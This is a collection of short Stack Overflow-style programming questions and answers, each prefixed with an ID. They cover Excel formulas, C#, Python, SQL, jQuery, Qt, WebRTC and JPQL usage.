18467408	0	 <p>As written your formula will always return zero because the last two conditions are mutually exclusive - did you mean those last two to be &lt;> rather than = (or did you refer to the wrong columns)?</p> <p>In any case I can see from the use of whole columns that you must be using <code>Excel 2007</code> or later (your current formula would give an error otherwise) in which case <code>COUNTIFS</code> will be much faster, i.e. assuming the last two conditions should be adjusted as I suggested try this version:</p> <p><code>=COUNTIFS(Sheet1!J:J,Sheet2!A2,Sheet1!G:G,"Windows XP",Sheet1!B:B,"Desktop",Sheet1!M:M,"&lt;&gt;Refresh &gt;=Q2 2014",Sheet1!M:M,"&lt;&gt;Release 2013",Sheet1!M:M,"&lt;&gt;Release 2014",Sheet1!M:M,"&lt;&gt;N/A NVM",Sheet1!M:M,"&lt;&gt;No",Sheet1!M:M,"&lt;&gt;N/A")</code></p> <p>If you <strong>do</strong> need to use SUMPRODUCT then restrict the ranges rather than using whole columns</p>
11830949	0	 <p>OpenLayers <a href="http://www.openlayers.org/" rel="nofollow">http://www.openlayers.org/</a> is the most featureful web-mapping client. It will happily read your data locally via standard GeoJSON files for vectors and geo-referenced images for rasters.</p> <p>You could even grab a bunch of tiles from something like an OpenStreetMap tile server and serve those locally for a pretty background.</p>
5850596	0	Conversion of long to decimal in c# <p>I have a value stored in a variable which is of type "long".</p> <pre><code>long fileSizeInBytes = FileUploadControl.FileContent.Length; Decimal fileSizeInMB = Convert.ToDecimal(fileSizeInBytes / (1024 * 1024)); </code></pre> <p>I want to convert the fileSizeInBytes to decimal number rounded up to 2 decimal places (like these: 1.74, 2.45, 3.51) But i'm not able to get the required result. I'm only getting single digit with no decimal places as result. Can some one help me with that ??.</p> <p>Thanks in anticipation</p>
28868524	0	 <p>Integer or floats values other than 0 are treated as True:</p> <pre><code>In [8]: bool(int(1)) Out[8]: True In [9]: bool(int(0)) Out[9]: False In [10]: bool(int(-1)) Out[10]: True In [16]: bool(float(1.2e4)) Out[16]: True In [17]: bool(float(-1.4)) Out[17]: True In [20]: bool(0.0) Out[20]: False In [21]: bool(0.000001) Out[21]: True </code></pre> <p>Similarly, empty lists, sets, dicts, empty string, None, etc are treated as false:</p> <pre><code>In [11]: bool([]) Out[11]: False In [12]: bool({}) Out[12]: False In [13]: bool(set()) Out[13]: False In [14]: bool("") Out[14]: False In [19]: bool(None) Out[19]: False </code></pre>
955853	0	 <p>You could put a helper method in the view's codebehind, and then do something like:</p> <pre><code>Type modelType = this.Model.GetType(); if (modelType == typeof(NewsSummary)) this.RenderPartial("newspartial", this.Model as NewsSummary); else if (modelType == typeof(GigSummary)) this.RenderPartial("gigpartial", this.Model as GigSummary); </code></pre>
101836	0	 <p>You could try to get spanning-tree protocol information out of the smart switches; even unmanaged switches have to participate in this protocol (this doesn't apply to hubs, though).</p>
16851657	0	 <pre><code>function functionTwo(b) { if(functionOne(b)) return true; else return false; } </code></pre>
17244406	1	Python : How to access file from different directory <p>I have the following project structure</p> <pre><code>SampleProject com python example source utils ConfigManager.py conf constants.cfg </code></pre> <p>How to access constants.cfg from ConfigManager.py. </p> <p>I have a limitation</p> <ol> <li>I can not give full path(absolute path) of constants.cfg because if I run in different PC it should work with out any modification</li> <li><p>Also if I represent something like below, I can access the file. But I don't want to give back slash every time</p> <pre><code>filename = ..\\..\\..\\..\\..\\..\\constants.cfg` </code></pre></li> </ol> <p>Currently I am doing something like this. But this works only when constants.cfg and ConfigManager.py are in same directory</p> <pre><code>currentDir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) file = open(os.path.join(currentDir,'constants.cfg')) </code></pre>
5588446	0	 <p>They won't be able to install and run the app (until they upgrade the OS on their device to that of the Deployment Target or above). But they might be able to buy and download the app using iTunes on their Mac or PC.</p>
40728428	0	 <p>You can make a function like this:</p> <pre class="lang-python prettyprint-override"><code>def get_item(d, keys): current = d for k in keys: current = current[k] # You can add some error handling here return current </code></pre> <p>Example of usage: <a href="https://repl.it/E49o/1" rel="nofollow noreferrer">https://repl.it/E49o/1</a></p> <p>If you want to modify the value at the last index, you can do something like this. </p> <pre class="lang-python prettyprint-override"><code>def set_item(d, keys, new_value): current = d for k in keys[:-1]: # All the keys except the last one current = current[k] current[keys[-1]] = new_value </code></pre>
3659507	0	 <p>Converting is not an option, since you don't know anything about what the user meant. For example, when I input the number '3', you can't determine if I meant 3 days or 3 months.</p> <p>Let me elaborate a bit: if I input '3' and select 'days', the time in seconds is: 60 * 60 * 24 * 3 = 259200 seconds. When displaying, you could divide it so that the output is '3 days' again. But what if I inputted '72' and selected 'hours'? You can't tell.</p> <p>Just store the users choice and you're fine.</p>
7190464	0	 <p>The subtlety you miss is that the standard input and positional parameters are not the same thing.</p> <p>Standard input, which you can redirect with the '&lt;', or even from another program with '|' is a sequence of bytes. A script can read stdin with, well, the <code>read</code> command.</p> <p>Positional parameters are numbered 1 to N and hold the value of each argument. The shell refers to them as $1 to ${42} (if you gave that many).</p> <p>Standard input and positional parameters are indepent of one another. You can have both, either, or none, depending how you call a program (and what that program expects):</p> <ol> <li>Both: <code>grep -E pattern &lt; file</code></li> <li>Just stdin: <code>wc &lt; file</code></li> <li>Just positional paramters: <code>echo Here are five positional parameters</code></li> <li>Neither: <code>ls</code></li> </ol>
37488010	0	 <p>You don't need quotes around spaced entities when you use <code>fgrep</code>. <code>fgrep</code> takes each line literally already. It's only in the command line that you need quotes in order to disambiguate a string from extra command line arguments. Your file can just be:</p> <pre><code>content1 c o n t e n t 2 </code></pre>
11400927	0	 <p>This is outside of the language specification and I think if this is a feature that you wish to have in the language another language would be of more use to you that has this kind of functionality in it. </p> <p>The only way I can think of implementing this is by doing some preprocessing tricks, which just seems like a bad idea. With this method you will not have if's in the code it self but some very unmaintainable preprocessing.</p>
2625241	0	Jquery Autocomplete Unable to Empty Input on Internet Explorer <p>I´ve got a Jquery autocomplete input like the following:</p> <pre><code>$("#cities").autocomplete(regionIDs, { minChars: 2, width: 310, autoFill: true, matchContains: "word", formatItem: function(row) { return row.city + ", " + "&lt;span&gt;" + row.country + "&lt;/span&gt;"; }, formatMatch: function(row) { return row.city; }, formatResult: function(row) { return row.city + ", " + row.country; } }); </code></pre> <p>A listener for the input</p> <pre><code>$("#cities").result(function(event, data, formatted) { selectedCity = (data.regionID); }); </code></pre> <p>And the input: </p> <pre><code>&lt;input type="text" class="textbox" id="cities" name="q" autocomplete="off"&gt; </code></pre> <p>The trouble is when I reload the page, Internet explorer displays last user Input in the text box. However, the variable has no value.</p> <p>I have tried with .reset() but no success.</p> <p>Any ideas why ?</p>
16028715	0	split a comma separated string in a pair of 2 using php <p>I have a string having 128 values in the form of :</p> <pre><code>1,4,5,6,0,0,1,0,0,5,6,...1,2,3. </code></pre> <p>I want to pair in the form of :</p> <pre><code>(1,4),(5,6),(7,8) </code></pre> <p>so that I can make a for loop for 64 data using PHP.</p>
23633468	0	Apply ISNULL like SQL in LINQ <p>I have the next LINQ where <b>o.Value</b> and <b>p.Value</b> are decimal types</p> <pre><code>from o in dbContext.Ammounts where o.Value &gt; (from p in dbContext.Payments select p).Sum(p =&gt; p.Value)) </code></pre> <p>The inner LINQ <code>from p in dbContext.Payments select p).Sum(p =&gt; p.Value)</code> can be return a NULL value and I need to apply a <code>ISNULL(linq_sentence, 0)</code></p> <p>I try with this:</p> <pre><code>from o in dbContext.Ammounts where o.Value &gt; ((from p in dbContext.Payments select p).Sum(p =&gt; p.Value)) ?? 0m) </code></pre> <p>But I get this message error:</p> <blockquote> <p>Operator '??' cannot be applied to operands of type 'decimal' and 'decimal'</p> </blockquote>
5439542	0	animate div up and down <p>I am just making a panel, ( div ) that has cookie, and can be opened or closed. I would like though to animate the div open or closed on click.</p> <p>The code I have so far is:</p> <pre><code>var state; window.onload=function() { obj=document.getElementById('closeable'); state=(state==null)?'hide':state; obj.className=state; document.getElementById('setup').onclick=function() { obj.className=(obj.className=='show')?'hide':'show'; state=obj.className; setCookie(); return false; } } function setCookie() { exp=new Date(); plusMonth=exp.getTime()+(31*24*60*60*1000); exp.setTime(plusMonth); document.cookie='State='+state+';expires='+exp.toGMTString(); } function readCookie() { if(document.cookie) { state=document.cookie.split('State=')[1]; } } readCookie(); </code></pre> <p>Any help appreciated</p>
39925370	0	Lucida Console font underscores not showing in input <p>I am using the <code>font-family: "Lucida Console", Monaco, monospace</code> in my CSS. I am trying to use the same font as my terminal (or similar).</p> <p>The problem is that when used in an input element, the underscores are not shown.</p> <p>Here is an example here: <a href="https://jsfiddle.net/a69x99d9/" rel="nofollow">https://jsfiddle.net/a69x99d9/</a></p> <p>Try typing in the input and you should immediately see that the underscores are hidden.</p> <p>It seems that this might be caused because the underscore is displayed past the line-height of the element. Is this the case?</p> <p>How do I fix something like this?</p> <p>Thanks in advance!</p> <p><strong>EDIT:</strong> This problem seems to only happen on ubuntu. (and possibly mac). Tested on chromeos and windows, nothing happens.</p>
18701116	0	Cannot find library reference to libmysqlclient_r Angstrom <p>I downloaded the MySQL Connector / C++ code from dev.mysql.com. I also used opkg to download the libmysqlclient-r-dev package, which gave me libmysqlclient_r.so and .la in my /usr/lib directory.</p> <p>When I attempt to make the source code for the MySQL connector, I get the following error:</p> <pre><code>/usr/lib/gcc/arm-angstrom-linux-gnueabi/4.7.3/../../../../arm-angstrom-linux-gnueabi/bin/ld: cannot find -lmysqlclient_r collect2: error: ld returned 1 exit status make[2]: *** [driver/libmysqlcppconn.so.1.0.5] Error 1 make[1]: *** [driver/CMakeFiles/mysqlcppconn.dir/all] Error 2 make: *** [all] Error 2 </code></pre> <p>It tells me that the library is missing, eventhough it is present in /usr/lib? How does that work, and what should I do?</p>
1832445	0	 <p>Just got a notification from PHPClasses, with one of the runner-ups of the monthly innovation award: <a href="http://www.phpclasses.org/browse/package/5721.html" rel="nofollow noreferrer">Text to Timestamp</a></p> <p>You could try that...</p>
38411503	0	 <p>You could do:</p> <pre><code>def hour = Calendar.instance.HOUR_OF_DAY​ if(hour &gt;= 8 &amp;&amp; hour &lt; 17) { // It's between 8am and 5pm } </code></pre>
31891230	0	 <p>Try this working link at plnkr: <a href="http://plnkr.co/edit/OaQBWxlIfa2fVvanKKEl?p=preview" rel="nofollow">http://plnkr.co/edit/OaQBWxlIfa2fVvanKKEl?p=preview</a></p> <p>Hope it helps!!! HTML</p> <pre><code>&lt;div class="blockcontainer"&gt; &lt;div class="blockcenterbox"&gt; &lt;div class="blocktop"&gt;abc&lt;/div&gt; &lt;/div&gt; &lt;div class="blockbottom"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS</p> <pre><code>.blockcontainer { width:200px; height:200px; background-color:#00CC66; overflow:hidden; } .blocktop { width:100px; background-color:#6699FF; height:50px; } .blockcenterbox { width: 100px; height: 50px; background-color: yellow; margin: 0 auto; } .blockbottom { width:25px; height:25px; background-color:black; margin: 0 auto; } </code></pre>
33866122	0	 <p><a href="http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/5.0.2_r1/android/support/v17/leanback/app/BrowseFragment.java#BrowseFragment.0mOnFocusSearchListener" rel="nofollow">BrowseFragment class</a> accesses search icon using title view's <code>getSearchAffordanceView()</code></p> <pre><code> private final BrowseFrameLayout.OnFocusSearchListener mOnFocusSearchListener = new BrowseFrameLayout.OnFocusSearchListener() { @Override public View onFocusSearch(View focused, int direction) { // If headers fragment is disabled, just return null. if (!mCanShowHeaders) return null; final View searchOrbView = mTitleView.getSearchAffordanceView(); . . . </code></pre> <p>Since <code>mTitleView</code> is <code>BrowseFragment</code>'s private member, you cannot get search icon reference directly. The only properties you can control for search affordance in the fragment title are: visibility and color. Visibility is controlled by the presence of a search listener.</p>
3939880	0	 <p>Have you added <a href="http://msdn.microsoft.com/en-us/library/ez524kew%28VS.80%29.aspx" rel="nofollow">project reference</a>?</p>
7273665	0	 <p>You're trying to set the <em>field names</em> as parameters - you can't do that. You can only specify <em>values</em> as parameters. So basically your first 14 <code>setString</code> calls should go away, and you should put those field names in the SQL:</p> <pre><code>String query = "INSERT INTO emp(epfno, fname, lname, sex, nid, address, " + "birthday, position, tpno, fathername, mothername, m_status, " + "comments, photo_id) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; st.setInt(1, emp.epfno); st.setString(2, emp.fname); st.setString(3, emp.lname); // etc </code></pre>
34067879	0	Avoiding DbSet objects count using ToList() <p>Using C# Entity Framework v6.1.1, I was trying to make a Count operation on a <code>DbSet</code>:</p> <pre><code>//Items is a List&lt;Item&gt; int count = db.MyObjects.Count(o =&gt; o.Items.FirstOrDefault(i =&gt; i.ItemID == 1) != default(Item)); </code></pre> <p>I did not use Contains, as there is a known EF issue on its use with Where Count etc.</p> <p>Now, the above line throws an NullReferenceException, telling me that object reference is not set to an instance of object.</p> <p>Changing it to:</p> <pre><code>//Items is a List&lt;Item&gt; int count = db.MyObjects.ToList().Count(o =&gt; o.Items.FirstOrDefault(i =&gt; i.ItemID == 1) != default(Item)); </code></pre> <p>Works as expected.</p> <p>Now, my assumption is that <code>DbSet</code> is working as a type of a proxy, loading lazily objects only when requested, something the <code>ToList()</code> forces it to.</p> <p>I am concerned though about the performance of all this. Is there a better way of making the count of a <code>DbSet</code>? Am I really enforced to do the <code>ToList()</code> call everywhere?</p> <p>I noticed that DbSet is <strong>not</strong> an <a href="https://msdn.microsoft.com/en-us/library/system.data.entity.dbset%28v=vs.113%29.aspx" rel="nofollow">IEnumerable</a>.</p> <p>UPDATE: I forgot to mention that I have Lazy Loading disabled, and that I am invoking this code without having applied Eager Loading to the <code>Items</code> collection, which probably explains a lot.</p>
16591598	0	 <p>Assuming that your HTML resembles the following:</p> <pre><code>&lt;input name="demo" type="checkbox" checked value="1" /&gt; &lt;input name="demo" type="checkbox" value="2" /&gt; &lt;input name="demo" type="checkbox" checked value="3" /&gt; </code></pre> <p>Then simply retrieve the elements of the relevant name, then iterate through the collection/nodeList and add the values to a declared 'total' variable:</p> <pre><code>var boxes = document.getElementsByName('demo'), total = 0; for (var i = 0, len = boxes.length; i &lt; len; i++){ if (boxes[i].checked &amp;&amp; boxes[i].type.toLowerCase() == 'checkbox') { total += parseInt(boxes[i].value, 10); } } console.log(total); </code></pre> <p><a href="http://jsfiddle.net/davidThomas/YtArx/" rel="nofollow">JS Fiddle demo</a>.</p> <p>the above code is, I think, cross browser compatible; but if you're looking for a more up-to-date technique that simplifies the <code>for</code> loop (to omit the <code>if</code> checks), then you can use <code>document.querySelectorAll()</code> as the selector technique:</p> <pre><code>var boxes = document.querySelectorAll('input[name="demo"][type="checkbox"]:checked'), total = 0; for (var i = 0, len = boxes.length; i &lt; len; i++){ total += parseInt(boxes[i].value, 10); } console.log(total); </code></pre> <p><a href="http://jsfiddle.net/davidThomas/YtArx/1/" rel="nofollow">JS Fiddle demo</a>.</p> <p>References:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/DOM/document.getElementsByName" rel="nofollow"><code>document.getElementsByName()</code></a>.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.querySelectorAll?redirectlocale=en-US&amp;redirectslug=DOM%2FDocument.querySelectorAll" rel="nofollow"><code>document.querySelectorAll()</code></a>.</li> <li><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String/toLowerCase" rel="nofollow"><code>String.toLowerCase()</code></a></li> <li><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/parseInt" rel="nofollow"><code>parseInt()</code></a></li> </ul>
12832100	0	 <p>Yes this can be easily done using Clojure (for backend) and ClojureScript OR JavaScript (for frontend).</p> <p>Basically the client js code will use websockets to connect to clojure server and on server you can have a state wrapped in an atom that is access by each client and each client is updated about the state through the connected websocket... something similar you do in a chat web application. </p> <p>For websocket you can use <a href="https://github.com/ztellman/aleph" rel="nofollow">Aleph</a>.</p>
33108577	0	 <p>Here is an example that will help you get started:</p> <pre><code>const TCHAR szFilter[] = _T("CSV Files (*.csv)|*.csv|All Files (*.*)|*.*||"); CFileDialog dlg(FALSE, _T("csv"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, szFilter, this); if(dlg.DoModal() == IDOK) { CString sFilePath = dlg.GetPathName(); m_FilePathEditBox.SetWindowText(sFilePath); } </code></pre>
902770	0	 <p>Depending on the exact version of the IBM JDK you are using, there are various options for tracking "large allocations". The differences are mainly in the implementation, and the result is a logging Java stack trace when an allocation over a certain size is made (which should help you track down the culprit).</p> <p>"Sovereign" 1.4.2 SR4+: <a href="http://www-01.ibm.com/support/docview.wss?uid=swg21236523" rel="nofollow noreferrer">http://www-01.ibm.com/support/docview.wss?uid=swg21236523</a></p> <p>"J9" 1.4.2 (if Java is running under -Xj9 option): You need to get hold of a JVMPI / JVMTI agent for the same purpose, I can't find a link for this one right now.</p>
19490947	0	Retrieving last monday but no data in result set <p>I am trying to retrieve last monday when given date is monday below is the code.</p> <pre><code>select Case when to_char(to_date('21/10/2013','dd/mm/yyyy'), 'DAY') = 'MONDAY' then to_date(next_day(to_date('21/10/2013','dd/mm/yyyy')-7,'Tuesday') - 1, 'dd/mm/yyyy') END from dual </code></pre> <p>Query is executing and result is one record but record is totally empty.</p> <p>I am confused why there is no data in the result set.</p> <p>Please help me in resolving this.</p>
2451641	0	 <p>The most sargable option, short of using dynamic SQL, is to use an IF statement and two queries:</p> <pre><code>IF LEN(@Title) &gt; 0 SELECT r.* FROM RECORDS r WHERE r.title LIKE '%'+ @Title +'%' ELSE SELECT r.* FROM RECORDS r </code></pre> <p>The SQL Server 2005+ dynamic SQL version would resemble:</p> <pre><code>DECLARE @SQL NVARCHAR(4000) SET @SQL = 'SELECT r.* FROM RECORDS r WHERE 1 = 1' --will be optimized out, easier to add clauses SET @SQL = @SQL + CASE LEN(@Title) WHEN 0 THEN '' ELSE ' AND r.name LIKE ''%''+ @Title +''%'' ' END BEGIN EXEC sp_executesql @SQL, N'@Title VARCHAR(#)', @Title END </code></pre> <p>Unlike <code>EXEC</code>, <code>sp_executesql</code> will cache the query plan. You can read more about it in <a href="http://www.sommarskog.se/dynamic_sql.html" rel="nofollow noreferrer">the Blessing &amp; Curse of Dynamic SQL</a>.</p>
22719135	0	Objective C Regex Extract Data from Line Containing Text <p>I'm using objective c to create a program that will pull out data from a HTML file using regexes. The only lines that are important to the program contain the text <code>popupName</code> and I need to stip all HTML tags from it as well. Can this be done with one regex?</p> <p>So far I have been using <code>popupName</code> to find the line I am looking for and then deleting everything matching <code>&lt;[^&gt;]*&gt;</code>.</p> <p>Could these two operations be combined into one?</p> <p>Here's example input:</p> <pre><code> &lt;div&gt; &lt;div class="popupName"&gt; Bob Smith&lt;/div&gt; &lt;div class="popupTitle"&gt; &lt;i&gt;&lt;/i&gt; &lt;/div&gt; &lt;br /&gt; &lt;div class="popupTitle"&gt;&lt;/div&gt; &lt;div class="popupLink"&gt;&lt;a href="mailto:"&gt;&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>From that I would like to extract only "Bob Smith". Except, I would have multiple occurrences of the line names like that.</p>
29327287	0	 <p>I don't think <code>pivot</code> is useful here. Try this</p> <pre><code>WITH cte1 AS (SELECT Row_number()OVER(ORDER BY Id) RN, value AS Data1 FROM yourtable WHERE col_id = 1), cte2 AS (SELECT Row_number()OVER(ORDER BY Id) RN, value AS Data2 FROM yourtable WHERE col_id = 2), cte3 AS (SELECT Row_number()OVER(ORDER BY Id) RN, value AS Data3 FROM yourtable WHERE col_id = 3) SELECT Row_number()OVER(ORDER BY a.rn) AS serial, Data1, Data2, Data3 FROM cte1 A FULL OUTER JOIN cte2 B ON a.RN = b.RN FULL OUTER JOIN cte3 C ON b.RN = C.RN </code></pre>
40777459	0	 <p>Have you tried to look at this one?</p> <pre><code>Dim PathofYourFile As String = "c:\MyDirectory\MYFile.txt" Dim FileName As String = IO.Path.GetExtension(PathofYourFile) MsgBox(FileName) </code></pre>
10771007	0	 <p>Make sure its in the right package, runs for me. I'm using this plugin</p> <p><a href="http://scala-ide.org/" rel="nofollow">http://scala-ide.org/</a></p>
21226843	0	 <p>You want to use <a href="http://www.mathworks.com/help/signal/ref/findpeaks.html" rel="nofollow"><code>findpeaks</code></a></p> <pre><code>[pks,locs] = findpeaks(data) </code></pre> <p>You could find the local maxes that way, go left and right until it drops to a certain threshold or by a certain percentage (since the peaks have some girth), and then order them, and calculate the distances between as a subtraction between values.</p>
34358645	0	Wrapping in a form action into a curl php <p>I'm new to php development and i just heard of curl. i have this data i post in a form action</p> <pre><code>&lt;form id="new_member_sms" name="new_member_sms" method="post" action="http://myserver.com/app_api.php?view=send_sms&amp;amp;&amp;amp;user=username&amp;amp;&amp;amp;pass=password&amp;amp;&amp;amp;message=hello+this+message+is+dynamic+from+server&amp;amp;&amp;amp;sender_id=BlaySoft&amp;amp;&amp;amp;to=&lt;?php echo $row_rs_sms['phone_no']; ?&gt;&amp;amp;&amp;amp;key=4"&gt; &lt;/form&gt; </code></pre> <p>I want to know if there's a way i can wrap this post message <code>"http://myserver.com/app_api.php?view=send_sms&amp;amp;&amp;amp;user=username&amp;amp;&amp;amp;pass=password&amp;amp;&amp;amp;message=hello+this+message+is+dynamic+from+server&amp;amp;&amp;amp;sender_id=BlaySoft&amp;amp;&amp;amp;to=&lt;?php echo $row_rs_sms['phone_no']; ?&gt;&amp;amp;&amp;amp;key=4"</code> in a php curl and send it to the server</p>
8966113	0	 <p>You can check the referrer of the Request object. But this is very easily spoofed, and should not be relied on.</p>
5483771	0	How can I chain together SELECT EXISTS() queries? <p>I have this simple query</p> <pre><code>SELECT EXISTS(SELECT a FROM A WHERE a = 'lorem ipsum'); </code></pre> <p>That will return a 0 or 1 if there exists a row in A that contains 'lorem ipsum'</p> <p>I would like to chain this behavior together. So I would get multiple rows, each with a 0 or 1 if that value exists.</p> <p>How would I go about doing this?</p> <p>Update:</p> <p>It's possible to do it like this but then I get a column for each result.</p> <pre><code>SELECT EXISTS(SELECT a FROM A WHERE a = 'lorem ipsum'), EXISTS(SELECT a FROM A WHERE a = 'dolor sit'); </code></pre>
5564687	0	PHP on IIS or Apache ( advantages and disadvantages) <p>What are the advantages and disadvantages of running php on IIS?</p> <p>or</p> <p>What are the advantages and disadvantages of running php on Apache?</p>
27794955	0	 <p>Running into the same issue as you. I found the code here:</p> <p><a href="https://github.com/GoogleChrome/webrtc/tree/master/samples/web/content/apprtc" rel="nofollow">https://github.com/GoogleChrome/webrtc/tree/master/samples/web/content/apprtc</a></p> <p>Currently looking through the changes to see what could have broken it. Ill update this answer if I find something.</p> <p>UPDATE: Looks like they have made some breaking changes in this commit:</p> <p><a href="https://github.com/GoogleChrome/webrtc/commit/c36b88475fab8a3e4436a87a7ea84265b0e13a8a#diff-c3e41e94913c93dfe31babd4830c3065" rel="nofollow">https://github.com/GoogleChrome/webrtc/commit/c36b88475fab8a3e4436a87a7ea84265b0e13a8a#diff-c3e41e94913c93dfe31babd4830c3065</a></p> <p>They are moving from the GAE Channel api, to a websocket channel.</p>
12028035	0	 <p>You can't change your IP like this. Your code obviously doesn't work, because you've just created a variable of type IPAddress and assigned some value to it. If you want a different IP address that you currently have assigned from your internet provider, you need to use a Proxy or TOR if you can't achieve a change of your IP by restarting your modem. However, it won't obviously allow you to use whatever IP you'd like.</p>
7932352	0	Right banner margin CSS <p>On the site: <a href="http://ukrainiansecret.com" rel="nofollow">ukrainiansecret.com</a></p> <p>I would like to get rid of that green right margin of the banner, and to have it exactly as the left side. Have tried to stretch the banner width but it didn't work out.</p> <p>Thanks</p>
37068320	0	 <p>ConnectionHandler is not serializable because it contains references to Socket and ServerSocket, which are not serializable. You would have to write your own serialization and deserialization methods to make it serializable.</p> <p>However, it doesn't make sense to make it serializable anyway, since it doesn't have any serializable data in it to transmit over the network.</p>
25554245	0	How to check ping between client and server in php? <p>I have a problem, I need to check the connection between client server, i need to get the response time in ms between the client and a "x" server with php, how I can do that?</p>
2207527	0	Changing a label in Qt <p>I'm trying to make a simple program consisting of a button and a label. When the button is pressed, it should change the label text to whatever is in a QString variable inside the program. Here's my code so far:</p> <p>This is my widget.h file:</p> <pre><code>class Widget : public QWidget { Q_OBJECT public: Widget(QWidget *parent = 0); ~Widget(); private: Ui::WidgetClass *ui; QString test; private slots: void myclicked(); }; </code></pre> <p>And here's the implementation of the Widget class:</p> <pre><code>#include "widget.h" #include "ui_widget.h" Widget::Widget(QWidget *parent) : QWidget(parent), ui(new Ui::WidgetClass) { ui-&gt;setupUi(this); test = "hello world"; connect(ui-&gt;pushButton, SIGNAL(clicked()), ui-&gt;label, SLOT(myclicked())); } Widget::~Widget() { delete ui; } void Widget::myclicked(){ ui-&gt;label-&gt;setText(test); } </code></pre> <p>It runs but when the button is clicked, nothing happens. What am I doing wrong?</p> <p>Edit: after i got it working, the text in the label was larger than the label itself, so the text got clipped. I fixed it by adding <code>ui-&gt;label-&gt;adjustSize()</code> to the definition of myclicked().</p>
30067366	0	 <p>jQuery's <a href="http://api.jquery.com/val/" rel="nofollow"><code>.val()</code></a> method is both a getter and a setter.</p> <p>Try this:</p> <p><code>$('input[name="x"]').val($hello);</code></p>
26625772	0	How to Join a group facebook using facebook SDK in C# <p>I'm using facebook sdk 6.8.0 for deverloping an app in windows using C-sharp. I have a group id, how do i send a request to group's admin to join this group using FB sdk? Please!</p>
37210341	0	 <p>From python's <a href="https://docs.python.org/2/library/stdtypes.html#mapping-types-dict" rel="nofollow">docs</a>:</p> <p>iter(dictview)</p> <pre><code>Return an iterator over the keys, values or items (represented as tuples </code></pre> <p>of (key, value)) in the dictionary.</p> <pre><code>Keys and values are iterated over in an arbitrary order which is </code></pre> <p>non-random, varies across Python implementations, and depends on the dictionary’s history of insertions and deletions. If keys, values and items views are iterated over with no intervening modifications to the dictionary, the order of items will directly correspond. </p> <p>I would try with the order of inclusion since it seems you are not deleting values.</p>
12087022	0	 <p>If the editor is in an iframe, you need to target the <code>top</code> window:</p> <pre><code>window.top.location = "http://"+url+""; </code></pre> <p>You should also make sure that the editor accept script tags (not all editors do).</p>
31528821	0	Worklight Java adapter invoke another adapter get I/O issue <p>I have a issue when I try to call adapter (HTTP/MYSQL) from a Java adapter.</p> <p>When I am using Postmen test it (added Authorization on the header) It's always get a IO issue: </p> <p><code>[I O: Invalid token on line 1, column 14]</code>.</p> <p>First, I guess it should be OAuth issue, I add <code>@OAuthSecurity(enabled=false)</code> at the class but not work.</p> <p>Would you please help me find out where the problem is.</p> <p>Code snippet:</p> <pre><code>DataAccessService service = WorklightBundles.getInstance() .getDataAccessService(); ProcedureQName name = new ProcedureQName("mysqlAdapter", "getMysqlAdapters"); String para = ""; // String para = "['a','b','c']"; InvocationResult mysql= service.invokeProcedure(name, para); JSONObject jsMysql = mysql.toJSON(); //String rst = jsMysql.get("key").toString(); </code></pre> <p>PS following code snippet is working when I test it on Postman:</p> <pre><code>HttpUriRequest request = api.getAdaptersAPI() .createJavascriptAdapterRequest("mysqlAdapter", "getMysqlAdapters"); try { HttpResponse response = api.getAdaptersAPI().executeAdapterRequest(request); JSONObject jsonObj =api.getAdaptersAPI().getResponseAsJSON(response); return jsonObj.toString(); } catch (MFPServerOAuthException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return "error"; </code></pre>
17575011	0	 <p>It's an ugly solution but you may try this ..</p> <pre><code>While DR.Read txtData.Text = txtData.Text &amp; DR.Item("CostumerOrder") &amp; Space(10) &amp; DR.Item("OrderPrice") &amp; vbCrLf Application.DoEvents() End While </code></pre>
1925552	1	Get Cygwin installation path in a Python script <p>I'm writing a cross-platform python script that needs to know if and where Cygwin is installed if the platform is NT. Right now I'm just using a naive check for the existence of the default install path 'C:\Cygwin'. I would like to be able to determine the installation path programmatically.</p> <p>The Windows registry doesn't appear to be an option since Cygwin no longer stores it's mount points in the registry. Because of this is it even possible to programmatically get a Cygwin installation path? </p>
6576259	0	 <p>Or you can check first if key exists by using isset().</p> <pre><code>if ( isset($preset[$table]) ) </code></pre> <p>Return true if exists, otherwise return false.</p>
38190485	0	 <p>Queries which are Unioned are independent of one another.<br> You want to join these tables.</p> <pre><code>select C2,C4 from D2.T2 a INNER JOIN D2.T3 b ON b.C3=a.C2; </code></pre>
6348427	0	Does HTML 5 application cache have any benefit for online apps? <p>Does the HTML 5 application (offline) cache have any benefit for online/connected apps? </p> <p>My page needs to be online to function and is loaded exclusively in a UIWebView as part of an iOS app. This page is loading some large dependencies and I was wondering if I could use the HTML 5 app cache to store these dependencies to avoid relying on the regular browser cache.</p> <p>So I guess my question is:</p> <p>When an HTML 5 page is online, does it use the offline cache if a dependency already exists in the HTML5 offline cache? </p>
7220201	0	Record Terminal output? <p>Im using a cool program in terminal but it's pre-compiled... Luckily all I need is the output of this system, but the way I need it is tricky... I need it to run normally but output the last line of text in the window to a text file. I jabs been looking around but people only make it so that I can log the whole thing, not just the last line.</p> <p>it is a compiled unix executable that can't be run with something like that because it needs to keep running and won't stop until stopped, and that didn't work</p>
33638975	0	Return blank cell only if referred cell is blank, but return aging if date is entered <p>I'm attempting an aging formula. I have one column with dates I've submitted info, but some rows in the column haven't been submitted. In another column I want to have an aging formula. If the "submitted date" cell is blank, I want the aging cell to be blank. If there is a date entered, I want it to show how many days it's been since it was submitted.</p> <p>I'm pretty new to excel formulas. I know how to create the aging, and I know how to make one cell blank if another is blank. But I do not know how to combine both formulas into one cell.</p>
2355728	0	JPQL Create new Object In Select Statement - avoid or embrace? <p>I've learnt recently that it is possible to create new objects in JPQL statements as follows:</p> <pre><code>select new Family(mother, mate, offspr) from DomesticCat as mother join mother.mate as mate left join mother.kittens as offspr </code></pre> <p>Is this something to be avoided or rather to embrace? When is usage of this feature justified in the light of good practices?</p>
